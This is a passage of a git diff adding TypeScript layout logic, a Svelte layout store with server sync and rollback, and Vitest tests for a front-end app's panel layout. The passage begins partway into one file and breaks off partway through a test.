+export const viewRegistry: Readable<readonly RegisteredView[]> = {
+ subscribe: store.subscribe,
+};
diff --git a/src/features/layout/logic/seed.test.ts b/src/features/layout/logic/seed.test.ts
new file mode 100644
index 0000000..dfe166a
--- /dev/null
+++ b/src/features/layout/logic/seed.test.ts
@@ -0,0 +1,99 @@
+import { DEFAULT_LAYOUT, type LayoutTree, type SplitNode } from "@dispatch/layout-contract";
+import { describe, expect, it } from "vitest";
+import { DEFAULT_PANEL_VIEWS, overlaySidePanels, seedLayout } from "./seed";
+import { firstCollapsibleNodeId, firstPanelsNode } from "./tree-query";
+
+function sideViews(tree: LayoutTree): string[] {
+ const root = tree.root as SplitNode;
+ const side = root.children[1]?.node;
+ return side?.kind === "panels" ? side.panels.map((p) => p.view) : [];
+}
+
+describe("seedLayout", () => {
+ it("uses the default panels when nothing is stored", () => {
+ const tree = seedLayout(null, ["tabs", "model", "settings"]);
+ expect(sideViews(tree)).toEqual(DEFAULT_PANEL_VIEWS);
+ });
+
+ it("overlays the stored selection, dropping unknown/removed kinds", () => {
+ const tree = seedLayout(
+ ["extensions", "ghost-view", "model"],
+ ["tabs", "model", "extensions", "settings"],
+ );
+ expect(sideViews(tree)).toEqual(["extensions", "model"]);
+ });
+
+ it("falls back to the defaults when the stored selection is all-unknown or empty", () => {
+ expect(sideViews(seedLayout(["ghost"], ["tabs", "model"]))).toEqual(["tabs", "model"]);
+ expect(sideViews(seedLayout([], ["tabs", "model"]))).toEqual(["tabs", "model"]);
+ });
+
+ it("falls back to the defaults when the stored value is not a string array", () => {
+ expect(sideViews(seedLayout("junk", ["tabs", "model"]))).toEqual(["tabs", "model"]);
+ expect(sideViews(seedLayout([42], ["tabs", "model"]))).toEqual(["tabs", "model"]);
+ expect(sideViews(seedLayout({ a: 1 }, ["tabs", "model"]))).toEqual(["tabs", "model"]);
+ });
+
+ it("preserves the default tree's ids and the titlebar-unset invariant", () => {
+ const tree = seedLayout(["model"], ["tabs", "model"]);
+ expect((tree.root as SplitNode).id).toBe("root");
+ expect(tree.titlebar).toBeUndefined();
+ });
+});
+
+describe("overlaySidePanels", () => {
+ it("replaces only the side panels of the given base tree", () => {
+ const tree = overlaySidePanels(DEFAULT_LAYOUT, ["settings", "tasks"]);
+ expect(sideViews(tree)).toEqual(["settings", "tasks"]);
+ // The rest of the tree is untouched.
+ expect((tree.root as SplitNode).children[0]?.node).toEqual(
+ (DEFAULT_LAYOUT.root as SplitNode).children[0]?.node,
+ );
+ });
+});
+
+describe("tree queries", () => {
+ it("firstPanelsNode finds the side panels with its path", () => {
+ const tree = seedLayout(["model"], ["tabs", "model"]);
+ const found = firstPanelsNode(tree);
+ expect(found?.path).toEqual([1]);
+ expect(found?.node.panels.map((p) => p.view)).toEqual(["model"]);
+ });
+
+ it("firstCollapsibleNodeId returns the default tree's side node id", () => {
+ expect(firstCollapsibleNodeId(DEFAULT_LAYOUT)).toBe("side");
+ });
+
+ it("firstCollapsibleNodeId falls back to a path key when the node has no id", () => {
+ const tree: LayoutTree = {
+ version: 1,
+ root: {
+ kind: "split",
+ dir: "row",
+ children: [
+ { size: 1, node: { kind: "leaf", view: "chat" } },
+ {
+ size: 0,
+ basis: 320,
+ collapsible: true,
+ node: { kind: "panels", panels: [{ kind: "leaf", view: "tabs" }] },
+ },
+ ],
+ },
+ };
+ // The collapsible child sits at root path index 1 → key "1".
+ expect(firstCollapsibleNodeId(tree)).toBe("1");
+ });
+
+ it("firstCollapsibleNodeId returns null when nothing is collapsible", () => {
+ const tree: LayoutTree = {
+ version: 1,
+ root: {
+ kind: "split",
+ dir: "row",
+ children: [{ size: 1, node: { kind: "leaf", view: "chat" } }],
+ },
+ };
+ expect(firstCollapsibleNodeId(tree)).toBeNull();
+ });
+});
diff --git a/src/features/layout/logic/seed.ts b/src/features/layout/logic/seed.ts
new file mode 100644
index 0000000..7cd0ba3
--- /dev/null
+++ b/src/features/layout/logic/seed.ts
@@ -0,0 +1,78 @@
+/**
+ * Boot-time tree seeding: the default layout with today's sidebar selection
+ * overlaid from localStorage. Byte-compatible with today's boot behavior
+ * (`dispatch.sidebar.views` read; unknown/removed kinds dropped — the tree
+ * schema has no "unknown view" panel state, so a stale id is skipped exactly
+ * like a view that no longer exists).
+ */
+
+import {
+ DEFAULT_LAYOUT,
+ findById,
+ type LayoutNode,
+ type LayoutTree,
+ type LeafNode,
+ type PanelsNode,
+ type Path,
+} from "@dispatch/layout-contract";
+
+/**
+ * Today's default sidebar selection (the moved-from-top tab bar + the model
+ * controls) — the fallback when nothing (or nothing valid) is stored.
+ */
+export const DEFAULT_PANEL_VIEWS: readonly string[] = ["tabs", "model"];
+
+/**
+ * Seed a tree from DEFAULT_LAYOUT with `storedViews` (the parsed
+ * `dispatch.sidebar.views` value, or null when absent) overlaid onto the
+ * default tree's panels node.
+ *
+ * - null / non-array / array without any known view → the defaults.
+ * - Known views are kept in the stored order; unknown ids are dropped.
+ */
+export function seedLayout(storedViews: unknown, panelViewIds: readonly string[]): LayoutTree {
+ const known = new Set(panelViewIds);
+ const stored = Array.isArray(storedViews)
+ ? storedViews.filter((v): v is string => typeof v === "string")
+ : [];
+ const panels = stored.filter((v) => known.has(v));
+ const selected = panels.length > 0 ? panels : DEFAULT_PANEL_VIEWS.filter((v) => known.has(v));
+ return overlaySidePanels(DEFAULT_LAYOUT, selected);
+}
+
+/**
+ * A NEW tree: `base` with its `"side"` panels node replaced by leaves mounting
+ * `views` (in order). Targets the panels node by id (falls back to no-op when
+ * the base has none); the rest of the tree is shared, not copied.
+ */
+export function overlaySidePanels(base: LayoutTree, views: readonly string[]): LayoutTree {
+ const found = findById(base, "side");
+ if (found === null || found.node.kind !== "panels") return base;
+ const panels: readonly LeafNode[] = views.map((view) => ({ kind: "leaf", view }));
+ const next: PanelsNode = { ...found.node, panels };
+ return { version: 1, root: replaceChild(base.root, found.path, next) };
+}
+
+/** Rebuild the node at `path` (immutably); the replacement must be a panels node. */
+function replaceChild(node: LayoutNode, path: Path, replacement: PanelsNode): LayoutNode {
+ if (path.length === 0) return replacement;
+ const [head, ...rest] = path;
+ if (typeof head !== "number") return node;
+ if (node.kind === "split") {
+ return {
+ ...node,
+ children: node.children.map((child, i) =>
+ i === head ? { ...child, node: replaceChild(child.node, rest, replacement) } : child,
+ ),
+ };
+ }
+ if (node.kind === "stack") {
+ return {
+ ...node,
+ children: node.children.map((child, i) =>
+ i === head ? { ...child, node: replaceChild(child.node, rest, replacement) } : child,
+ ),
+ };
+ }
+ return node;
+}
diff --git a/src/features/layout/logic/tree-query.ts b/src/features/layout/logic/tree-query.ts
new file mode 100644
index 0000000..aa8dfe9
--- /dev/null
+++ b/src/features/layout/logic/tree-query.ts
@@ -0,0 +1,60 @@
+/**
+ * Tree queries the chrome needs — pure walks over the layout tree.
+ */
+
+import type { LayoutNode, LayoutTree, PanelsNode, Path } from "@dispatch/layout-contract";
+
+/** The first panels node in the tree (the panel-selection owner), if any. */
+export function firstPanelsNode(tree: LayoutTree): { node: PanelsNode; path: Path } | null {
+ const seen: { node: PanelsNode; path: Path }[] = [];
+ const visit = (node: LayoutNode, path: Path): void => {
+ if (seen.length > 0) return;
+ if (node.kind === "panels") {
+ seen.push({ node, path });
+ return;
+ }
+ const kids: readonly LayoutNode[] =
+ node.kind === "split"
+ ? node.children.map((c) => c.node)
+ : node.kind === "stack"
+ ? node.children.map((c) => c.node)
+ : [];
+ for (const [i, child] of kids.entries()) visit(child, [...path, i]);
+ };
+ visit(tree.root, []);
+ return seen[0] ?? null;
+}
+
+/**
+ * The node id of the tree's FIRST collapsible split child — the one the chrome
+ * top bar's toggle reads/writes (`findById("side")` on the default tree;
+ * generically the first collapsible child, root-first then titlebar). Falls
+ * back to a path-derived key when the child's node has no id. Null → the tree
+ * has nothing collapsible (the toggle button hides).
+ */
+export function firstCollapsibleNodeId(tree: LayoutTree): string | null {
+ const visit = (node: LayoutNode, path: Path): string | null => {
+ if (node.kind === "split") {
+ for (const [i, child] of node.children.entries()) {
+ if (!child.collapsible) continue;
+ if (child.node.id !== undefined) return child.node.id;
+ return [...path, i].map((s) => String(s)).join(":");
+ }
+ }
+ const kids: readonly LayoutNode[] =
+ node.kind === "split"
+ ? node.children.map((c) => c.node)
+ : node.kind === "stack"
+ ? node.children.map((c) => c.node)
+ : [];
+ for (const [i, child] of kids.entries()) {
+ const found = visit(child, [...path, i]);
+ if (found !== null) return found;
+ }
+ return null;
+ };
+ const inRoot = visit(tree.root, []);
+ if (inRoot !== null) return inRoot;
+ if (tree.titlebar !== undefined) return visit(tree.titlebar, ["titlebar"]);
+ return null;
+}
diff --git a/src/features/layout/store.svelte.ts b/src/features/layout/store.svelte.ts
new file mode 100644
index 0000000..29e2fa1
--- /dev/null
+++ b/src/features/layout/store.svelte.ts
@@ -0,0 +1,316 @@
+import { DEFAULT_LAYOUT, type LayoutTree } from "@dispatch/layout-contract";
+import type { LayoutHttp, LayoutHttpResult } from "./adapter/http";
+import { migrationTree } from "./logic/migration";
+
+/**
+ * Layout store (plan 02 §2.6) — a thin reactive wrapper over the injected
+ * `LayoutHttp` edge (the plugins-store pattern). Owns the ACTIVE workspace's
+ * tree and the provider lifecycle:
+ *
+ * - **Provider probe triggers** — boot, every workspace switch, every
+ * `extensions-changed`, and every change to the ACTIVE workspace's
+ * per-workspace plugin state (a layout plugin enabled/disabled in the
+ * workspace plugins modal starts/stops serving; the probe picks it up
+ * without a reload).
+ * - **No-provider mode** — a 404 (or network failure) keeps the tree on its
+ * local default; edits still work but are EPHEMERAL (in-memory only —
+ * D-L4 retired the localStorage write path); logged once, no error UI.
+ * - **WS push** — `onServerTree(workspaceId, tree)` applies a `layout`
+ * broadcast, ignoring non-active workspaces (the server fans out to all
+ * clients; the client filters).
+ * - **User edits persist through the provider** — `onTreeChange` applies the
+ * edit locally immediately, then PUTs the WHOLE tree (decision 7 — no
+ * patch protocol) lightly debounced; on a failed PUT the tree rolls back
+ * to the last server-known tree with a quiet console warning.
+ * - **Collapse state stays local** (decision 3) — `dispatch.sidebar.open`
+ * is the collapse store's concern, untouched here.
+ * - **One-way localStorage migration** (§2.7) — on the FIRST successful
+ * provider read of the boot session, if `dispatch.sidebar.views` exists
+ * AND the fetched tree is the untouched default seed, the stored panel
+ * selection is imported with one PUT; the key is then never read again.
+ *
+ * No ambient state: one instance per composition root, passed explicitly;
+ * no module-level mutables.
+ */
+
+/** Whether an active provider is serving the active workspace. */
+export type LayoutProviderState = "unknown" | "present" | "absent";
+
+export interface LayoutStore {
+ /** The rendered tree for the ACTIVE workspace (starts at the local default). */
+ readonly tree: LayoutTree;
+ /** The active provider's state (absent = the no-provider degrade path). */
+ readonly providerState: LayoutProviderState;
+ /** The workspace the tree currently belongs to. */
+ readonly activeWorkspaceId: string;
+ /**
+ * Probe the provider for `workspaceId`'s tree. `boot: true` (the composition
+ * root's boot call) also arms the one-way localStorage migration (§2.7),
+ * which consumes itself on the first successful provider read regardless of
+ * outcome. A probe is the missed-push catch-up (§2.5).
+ */
+ probe(workspaceId: string, opts?: { readonly boot?: boolean }): Promise<void>;
+ /** Workspace switch: reset to the local default for the new workspace + probe. */
+ onWorkspaceChanged(workspaceId: string): void;
+ /** Server `layout` broadcast (§2.5). Non-active workspaces are ignored. */
+ onServerTree(workspaceId: string, tree: LayoutTree): void;
+ /** A user edit (the panels' dropdowns / TileRoot ops). Persists via PUT. */
+ onTreeChange(next: LayoutTree): void;
+ /**
+ * Reset the workspace's layout to the default seed (plan 04 §4.4 — the
+ * plugins modal's "Reset layout to default" affordance:
+ * `DELETE /workspaces/:id/layout` → re-seed → broadcast). Resolves to
+ * `null` on success (the fresh seed is applied locally + pushed via WS to
+ * every client) or to the FAILURE REASON — the no-provider 404 resolves
+ * to the user-facing "no layout plugin enabled" (the button's gate renders
+ * the same reason before this runs).
+ */
+ resetToDefault(workspaceId: string): Promise<string | null>;
+ /** Multi-client coherence (§11): re-probe on `extensions-changed`. */
+ onExtensionsChanged(): void;
+ /**
+ * The active workspace's PER-WORKSPACE PLUGIN STATE changed (the workspace
+ * plugins modal toggled a layout plugin's enablement — the per-workspace
+ * activation rule): re-probe so the newly-enabled provider's tree (or the
+ * no-provider degrade) lands without a reload. A NON-active workspace's
+ * toggle is ignored — its tree is fetched on its next probe (workspace
+ * switch); there is nothing to re-render here.
+ */
+ onWorkspacePluginsChanged(workspaceId: string): void;
+}
+
+export interface LayoutStoreOptions {
+ readonly http: LayoutHttp;
+ /** The boot workspace (its URL slug); "default" if absent. */
+ readonly workspaceId?: string;
+ /**
+ * Injected localStorage — read ONLY by the one-way §2.7 migration (the
+ * write path is retired; collapse state has its own store). Undefined →
+ * migration never applies (tests / storageless contexts).
+ */
+ readonly storage?: Storage | undefined;
+ /** The known (registered) view ids, for the migration's unknown-id filter. */
+ readonly knownViews?: ReadonlySet<string> | readonly string[];
+ /**
+ * The localStorage key the §2.7 migration reads (default
+ * `dispatch.sidebar.views`; tests override).
+ */
+ readonly sidebarViewsKey?: string;
+ /** Edit-PUT debounce window in ms (default 300; tests shrink it). */
+ readonly debounceMs?: number;
+ /** The quiet-failure hook (default `console.warn` — never an error UI). */
+ readonly warn?: (message: string) => void;
+}
+
+const DEFAULT_SIDEBAR_VIEWS_KEY = "dispatch.sidebar.views";
+const DEFAULT_DEBOUNCE_MS = 300;
+
+function toKnownSet(known: LayoutStoreOptions["knownViews"]): ReadonlySet<string> {
+ if (known === undefined) return new Set();
+ return known instanceof Set ? known : new Set(known);
+}
+
+export function createLayoutStore(opts: LayoutStoreOptions): LayoutStore {
+ const http = opts.http;
+ const storage = opts.storage;
+ const sidebarViewsKey = opts.sidebarViewsKey ?? DEFAULT_SIDEBAR_VIEWS_KEY;
+ const debounceMs = opts.debounceMs ?? DEFAULT_DEBOUNCE_MS;
+ const knownViews = toKnownSet(opts.knownViews);
+ const warn = opts.warn ?? ((message: string) => console.warn(message));
+
+ let tree = $state<LayoutTree>(DEFAULT_LAYOUT);
+ let providerState = $state<LayoutProviderState>("unknown");
+ let activeWorkspaceId = $state<string>(opts.workspaceId ?? "default");
+
+ /** The last tree known to come from the server (GET / WS push / PUT echo) — the rollback target. */
+ let lastServerTree: LayoutTree | null = null;
+ /** The pending edit-PUT timer (the "lightly debounced" write). */
+ let putTimer: ReturnType<typeof setTimeout> | null = null;
+ /** Logged-once guard for the no-provider log (reset when a provider appears). */
+ let loggedAbsent = false;
+ /**
+ * The §2.7 migration is armed by the BOOT probe and consumed by the first
+ * successful provider read — regardless of outcome (read-once semantics).
+ */
+ let migrationArmed = false;
+
+ function noteAbsent(reason: string): void {
+ providerState = "absent";
+ if (!loggedAbsent) {
+ loggedAbsent = true;
+ warn(
+ `layout: no layout provider active (${reason}) — rendering the built-in default; edits are ephemeral`,
+ );
+ }
+ }
+
+ function notePresent(): void {
+ providerState = "present";
+ loggedAbsent = false;
+ }
+
+ function applyServerTree(next: LayoutTree): void {
+ lastServerTree = next;
+ tree = next;
+ }
+
+ /** The §2.7 one-way migration: at most one read + one PUT per session. */
+ async function maybeMigrate(): Promise<void> {
+ if (!migrationArmed || storage === undefined) return;
+ migrationArmed = false; // consumed regardless of outcome (stop reading the key)
+ let raw: string | null = null;
+ try {
+ raw = storage.getItem(sidebarViewsKey);
+ } catch {
+ return; // storage unavailable — best-effort, done
+ }
+ if (raw === null) return; // nothing stored — nothing to import
+ let parsed: unknown = null;
+ try {
+ parsed = JSON.parse(raw) as unknown;
+ } catch {
+ return; // junk — best-effort, done
+ }
+ const migrated = migrationTree(parsed, knownViews, tree);
+ if (migrated === null) return; // custom layout already / nothing usable
+ const result = await http.putTree(activeWorkspaceId, migrated);
+ if (result.ok) {
+ // The server's canonical copy (also echoed back via the WS broadcast).
+ applyServerTree(result.tree);
+ } else if (!result.notFound) {
+ warn(`layout: localStorage migration PUT failed — ${result.error}`);
+ }
+ }
+
+ async function runProbe(workspaceId: string, boot: boolean): Promise<void> {
+ if (boot) migrationArmed = true;
+ const result: LayoutHttpResult = await http.getTree(workspaceId);
+ // A switch may have happened while the fetch was in flight — only the
+ // CURRENT workspace's result lands (the refreshProviderStatus guard).
+ if (workspaceId !== activeWorkspaceId) return;
+ if (result.ok) {
+ notePresent();
+ applyServerTree(result.tree);
+ await maybeMigrate();
+ } else if (result.notFound) {
+ noteAbsent(result.error);
+ } else {
+ // A real failure (5xx, malformed) degrades like absent — quietly.
+ noteAbsent(result.error);
+ }
+ }
+
+ function clearPutTimer(): void {
+ if (putTimer !== null) {
+ clearTimeout(putTimer);
+ putTimer = null;
+ }
+ }
+
+ async function flushPut(workspaceId: string, pending: LayoutTree): Promise<void> {
+ putTimer = null;
+ // Read the CURRENT tree at fire time: a newer edit supersedes the
+ // debounced snapshot (one in-flight write per window, last wins).
+ const target = tree === pending ? pending : tree;
+ const result = await http.putTree(workspaceId, target);
+ if (result.ok) {
+ notePresent();
+ // The server's validated echo is the new rollback target.
+ lastServerTree = result.tree;
+ return;
+ }
+ if (result.notFound) {
+ // The provider vanished: keep the local edit (ephemeral), no rollback —
+ // there is no server tree to roll back TO.
+ noteAbsent(result.error);
+ return;
+ }
+ // A failed write on a PRESENT provider: roll back to the last server
+ // tree, quiet console warning (never an error UI).
+ warn(
+ `layout: persisting the tree failed (${result.error}) — rolled back to the last server tree`,
+ );
+ if (lastServerTree !== null) tree = lastServerTree;
+ }
+
+ return {
+ get tree() {
+ return tree;
+ },
+ get providerState() {
+ return providerState;
+ },
+ get activeWorkspaceId() {
+ return activeWorkspaceId;
+ },
+
+ async probe(workspaceId, probeOpts) {
+ await runProbe(workspaceId, probeOpts?.boot === true);
+ },
+
+ onWorkspaceChanged(workspaceId) {
+ if (workspaceId === activeWorkspaceId) return;
+ activeWorkspaceId = workspaceId;
+ // The tree belongs to the OLD workspace now: reset to the local default
+ // while the probe resolves (never flash the previous workspace's tree),
+ // and drop any queued edit — it was for the old workspace.
+ clearPutTimer();
+ lastServerTree = null;
+ tree = DEFAULT_LAYOUT;
+ providerState = "unknown";
+ void runProbe(workspaceId, false);
+ },
+
+ onServerTree(workspaceId, next) {
+ if (workspaceId !== activeWorkspaceId) return; // clients filter (§2.5)
+ notePresent();
+ clearPutTimer(); // the server's copy supersedes any queued edit
+ applyServerTree(next);
+ },
+
+ onTreeChange(next) {
+ tree = next; // the edit applies locally IMMEDIATELY (the UI never waits)
+ if (providerState === "absent") return; // ephemeral — no write, no warning
+ clearPutTimer();
+ putTimer = setTimeout(() => {
+ void flushPut(activeWorkspaceId, next).catch(() => {
+ // Network-grade failure: roll back to the last server tree, quietly.
+ warn("layout: persisting the tree failed — rolled back to the last server tree");
+ if (lastServerTree !== null) tree = lastServerTree;
+ });
+ }, debounceMs);
+ },
+
+ async resetToDefault(workspaceId): Promise<string | null> {
+ const result = await http.deleteTree(workspaceId);
+ if (result.ok) {
+ // The server re-seeded and broadcast (every client resets); this
+ // client applies the fresh seed immediately too (idempotent with the
+ // WS echo). Only the ACTIVE workspace's tree is ours to update.
+ notePresent();
+ if (workspaceId === activeWorkspaceId) applyServerTree(result.tree);
+ return null;
+ }
+ // The no-provider 404: the user-facing reason the plan specifies.
+ if (result.notFound) return "no layout plugin enabled";
+ return result.error;
+ },
+
+ onExtensionsChanged() {
+ void runProbe(activeWorkspaceId, false).catch(() => {
+ // runProbe never throws for HTTP failures; this guard is for the
+ // migration path. Staying silent keeps the degrade quiet.
+ });
+ },
+
+ onWorkspacePluginsChanged(workspaceId) {
+ // The per-workspace activation rule: only the ACTIVE workspace's tree
+ // can change what is rendered here — another workspace's toggle is
+ // picked up by its own probe (boot/workspace-switch/§2.6 triggers).
+ if (workspaceId !== activeWorkspaceId) return;
+ void runProbe(activeWorkspaceId, false).catch(() => {
+ // Same quiet-degrade guard as onExtensionsChanged.
+ });
+ },
+ };
+}
diff --git a/src/features/layout/store.test.ts b/src/features/layout/store.test.ts
new file mode 100644
index 0000000..331af95
--- /dev/null
+++ b/src/features/layout/store.test.ts
@@ -0,0 +1,529 @@
+import {
+ type ApplyOpsResult,
+ DEFAULT_LAYOUT,
+ type LayoutOp,
+ type LayoutTree,
+} from "@dispatch/layout-contract";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import type { LayoutHttp, LayoutHttpResult } from "./adapter/http";
+import { overlaySidePanels } from "./logic/seed";
+import { createLayoutStore } from "./store.svelte";
+
+/**
+ * Layout store tests (plan 02 verification gate) — mock HTTP EDGES ONLY (the
+ * injected `LayoutHttp` is the store's outermost boundary; nothing internal
+ * is mocked — asymmetric testing per AGENTS.md). Fake timers drive the edit
+ * PUT debounce deterministically.
+ */
+
+/** A recording fake of the LayoutHttp edge, scripted per test. */
+interface HttpFake extends LayoutHttp {
+ getCalls: string[];
+ putCalls: Array<{ workspaceId: string; tree: LayoutTree }>;
+ deleteCalls: string[];
+ getResult: (workspaceId: string) => LayoutHttpResult;
+ putResult: (workspaceId: string, tree: LayoutTree) => LayoutHttpResult;
+ deleteResult: (workspaceId: string) => LayoutHttpResult;
+ opsResult: (workspaceId: string, ops: readonly LayoutOp[]) => ApplyOpsResult;
+}
+
+function fakeHttp(
+ getResult: (workspaceId: string) => LayoutHttpResult = () => ({
+ ok: false,
+ notFound: true,
+ error: "No layout provider is active",
+ }),
+ putResult: (workspaceId: string, tree: LayoutTree) => LayoutHttpResult = (_ws, tree) => ({
+ ok: true,
+ tree,
+ }),
+): HttpFake {
+ const getCalls: string[] = [];
+ const putCalls: Array<{ workspaceId: string; tree: LayoutTree }> = [];
+ const deleteCalls: string[] = [];
+ const fake: HttpFake = {
+ getCalls,
+ putCalls,
+ deleteCalls,
+ getResult,
+ putResult,
+ // Re-scriptable outcome (default: the fresh seed a reset returns).
+ deleteResult: () => ({ ok: true, tree: DEFAULT_LAYOUT }),
+ // Re-scriptable outcome (default: the typed no-provider failure the ABI
+ // documents; tests re-assign mid-test like putResult).
+ opsResult: () => ({ ok: false, error: "no layout provider active" }),
+ // Delegate to the CURRENT properties so a test can re-script outcomes
+ // mid-test (http.putResult = …).
+ async getTree(workspaceId) {
+ getCalls.push(workspaceId);
+ return fake.getResult(workspaceId);
+ },
+ async putTree(workspaceId, tree) {
+ putCalls.push({ workspaceId, tree });
+ return fake.putResult(workspaceId, tree);
+ },
+ async deleteTree(workspaceId) {
+ deleteCalls.push(workspaceId);
+ return fake.deleteResult(workspaceId);
+ },
+ async postOps(workspaceId, ops) {
+ return fake.opsResult(workspaceId, ops);
+ },
+ };
+ return fake;
+}
+
+function storageWith(views: string[] | null): Storage {
+ const map = new Map<string, string>();
+ if (views !== null) map.set("test.sidebar.views", JSON.stringify(views));
+ return {
+ get length() {
+ return map.size;
+ },
+ clear() {
+ map.clear();
+ },
+ getItem: (k) => map.get(k) ?? null,
+ key: () => null,
+ removeItem: (k) => map.delete(k),
+ setItem: (k, v) => map.set(k, v),
+ };
+}
+
+const KNOWN = ["tabs", "model", "extensions", "vision"];
+
+function makeStore(http: HttpFake, extra: Record<string, unknown> = {}) {
+ return createLayoutStore({
+ http,
+ workspaceId: "ws-a",
+ knownViews: KNOWN,
+ sidebarViewsKey: "test.sidebar.views",
+ debounceMs: 100,
+ warn: (message) => warnings.push(message),
+ ...extra,
+ });
+}
+
+let warnings: string[] = [];
+
+beforeEach(() => {
+ vi.useFakeTimers();
+ warnings = [];
+});
+
+afterEach(() => {
+ vi.useRealTimers();
+});
+
+describe("layout store — no-provider fallback (§2.6)", () => {
+ it("a 404 probe keeps the default tree, marks the provider absent, and logs ONCE", async () => {
+ const http = fakeHttp();
+ const store = makeStore(http);
+
+ await store.probe("ws-a", { boot: true });
+ expect(store.providerState).toBe("absent");
+ expect(store.tree).toEqual(DEFAULT_LAYOUT);
+ expect(warnings).toHaveLength(1);
+ expect(warnings[0]).toContain("no layout provider");
+
+ // A re-probe (extensions-changed while still absent) does not re-warn.
+ await store.probe("ws-a");
+ expect(warnings).toHaveLength(1);
+ });
+
+ it("a network failure degrades like a 404 (quiet, no error UI)", async () => {
+ const http = fakeHttp(() => ({ ok: false, notFound: true, error: "fetch blew up" }));
+ const store = makeStore(http);
+ await store.probe("ws-a");
+ expect(store.providerState).toBe("absent");
+ expect(store.tree).toEqual(DEFAULT_LAYOUT);
+ });
+
+ it("edits still apply in no-provider mode but are EPHEMERAL (no PUT, no rollback, no warning)", async () => {
+ const http = fakeHttp();
+ const store = makeStore(http);
+ await store.probe("ws-a"); // absent now
+ expect(store.providerState).toBe("absent");
+
+ const edited = overlaySidePanels(DEFAULT_LAYOUT, ["extensions"]);
+ store.onTreeChange(edited);
+ expect(store.tree).toEqual(edited);
+
+ vi.advanceTimersByTime(500);
+ expect(http.putCalls).toEqual([]); // ephemeral: no write attempted
+ // Quiet = the single absence log (from the probe), nothing more.
+ expect(warnings).toHaveLength(1);
+ });
+
+ it("an edit while the probe is still in flight is PUT optimistically; a 404 flips absent and KEEPS the edit", async () => {
+ const http = fakeHttp();
+ // The PUT is a 404 (the probe will confirm: no provider).
+ http.putResult = () => ({ ok: false, notFound: true, error: "No layout provider is active" });
+ const store = makeStore(http);
+
+ void store.probe("ws-a"); // in flight (microtask pending)
+ const edited = overlaySidePanels(DEFAULT_LAYOUT, ["extensions"]);
+ store.onTreeChange(edited); // lands BEFORE the probe resolves
+ await vi.advanceTimersByTimeAsync(200);
+
+ expect(http.putCalls).toHaveLength(1); // the optimistic write WAS attempted
+ expect(store.providerState).toBe("absent");
+ expect(store.tree).toEqual(edited); // no rollback — there is no server tree
+ expect(warnings).toHaveLength(1); // the once-per-absence log, nothing more
+ });
+});
+
+describe("layout store — provider present", () => {
+ it("a 200 probe replaces the tree and marks the provider present", async () => {
+ const served = overlaySidePanels(DEFAULT_LAYOUT, ["extensions"]);
+ const http = fakeHttp(() => ({ ok: true, tree: served }));
+ const store = makeStore(http);
+
+ await store.probe("ws-a");
+ expect(store.providerState).toBe("present");
+ expect(store.tree).toEqual(served);
+ expect(warnings).toEqual([]);
+ });
+});
+
+describe("layout store — WS push (§2.5)", () => {
+ it("a layout push for the ACTIVE workspace replaces the tree", async () => {
+ const served = overlaySidePanels(DEFAULT_LAYOUT, ["extensions"]);
+ const http = fakeHttp(() => ({ ok: true, tree: served }));
+ const store = makeStore(http);
+ await store.probe("ws-a");
+
+ const pushed = overlaySidePanels(DEFAULT_LAYOUT, ["vision"]);
+ store.onServerTree("ws-a", pushed);
+ expect(store.tree).toEqual(pushed);
+ });
+
+ it("a push for a NON-active workspace is ignored", async () => {
+ const served = overlaySidePanels(DEFAULT_LAYOUT, ["extensions"]);
+ const http = fakeHttp(() => ({ ok: true, tree: served }));
+ const store = makeStore(http);
+ await store.probe("ws-a");
+
+ const other = overlaySidePanels(DEFAULT_LAYOUT, ["vision"]);
+ store.onServerTree("ws-b", other);
+ expect(store.tree).toEqual(served);
+ });
+
+ it("after a workspace switch the OLD workspace's push is ignored (clients filter)", async () => {
+ const servedA = overlaySidePanels(DEFAULT_LAYOUT, ["extensions"]);
+ let served = servedA;
+ const http = fakeHttp(() => ({ ok: true, tree: served }));
+ const store = makeStore(http);
+ await store.probe("ws-a");
+
+ const servedB = overlaySidePanels(DEFAULT_LAYOUT, ["vision"]);
+ served = servedB;
+ store.onWorkspaceChanged("ws-b");
+ await vi.advanceTimersByTimeAsync(0); // the probe's promise
+ expect(store.tree).toEqual(servedB);
+
+ // A late push for the OLD workspace must not land.
+ const stale = overlaySidePanels(DEFAULT_LAYOUT, ["tasks"]);
+ store.onServerTree("ws-a", stale);
+ expect(store.tree).toEqual(servedB);
+ });
+});
+
+describe("layout store — edits PUT the whole tree + rollback (§2.6)", () => {
+ it("an edit PUTs the WHOLE tree, debounced; a 200 echo becomes the rollback target", async () => {
+ const served = DEFAULT_LAYOUT;
+ const http = fakeHttp(() => ({ ok: true, tree: served }));
+ const store = makeStore(http);
+ await store.probe("ws-a");
+
+ const edited = overlaySidePanels(DEFAULT_LAYOUT, ["extensions"]);
+ store.onTreeChange(edited);
+ // Not yet — debounced.
+ expect(http.putCalls).toEqual([]);
+ await vi.advanceTimersByTimeAsync(150);
+ expect(http.putCalls).toEqual([{ workspaceId: "ws-a", tree: edited }]);
+ expect(warnings).toEqual([]);
+ });
+
+ it("rapid edits coalesce into ONE debounced PUT of the latest tree", async () => {
+ const http = fakeHttp(() => ({ ok: true, tree: DEFAULT_LAYOUT }));
+ const store = makeStore(http);
+ await store.probe("ws-a");
+
+ store.onTreeChange(overlaySidePanels(DEFAULT_LAYOUT, ["extensions"]));
+ await vi.advanceTimersByTimeAsync(50);
+ store.onTreeChange(overlaySidePanels(DEFAULT_LAYOUT, ["vision"]));
+ await vi.advanceTimersByTimeAsync(200);
+
+ expect(http.putCalls).toHaveLength(1);
+ expect(http.putCalls[0]?.tree).toEqual(overlaySidePanels(DEFAULT_LAYOUT, ["vision"]));
+ });
+
+ it("a 400 rejection rolls back to the last server tree with a quiet warning", async () => {
+ const served = DEFAULT_LAYOUT;
+ const http = fakeHttp(
+ () => ({ ok: true, tree: served }),
+ () => ({ ok: false, notFound: false, error: "invalid tree" }),
+ );
+ const store = makeStore(http);
+ await store.probe("ws-a");
+ expect(store.providerState).toBe("present");
+
+ const bad = overlaySidePanels(DEFAULT_LAYOUT, ["extensions"]);
+ store.onTreeChange(bad);
+ await vi.advanceTimersByTimeAsync(200);
+
+ expect(store.tree).toEqual(served); // rolled back
+ expect(store.providerState).toBe("present"); // the provider is still there
+ expect(warnings.some((w) => w.includes("rolled back"))).toBe(true);
+ });
+
+ it("a 5xx failure rolls back too (present provider, transient error)", async () => {
+ const served = DEFAULT_LAYOUT;
+ let failPut = false;
+ const http = fakeHttp(
+ () => ({ ok: true, tree: served }),
+ () =>
+ failPut
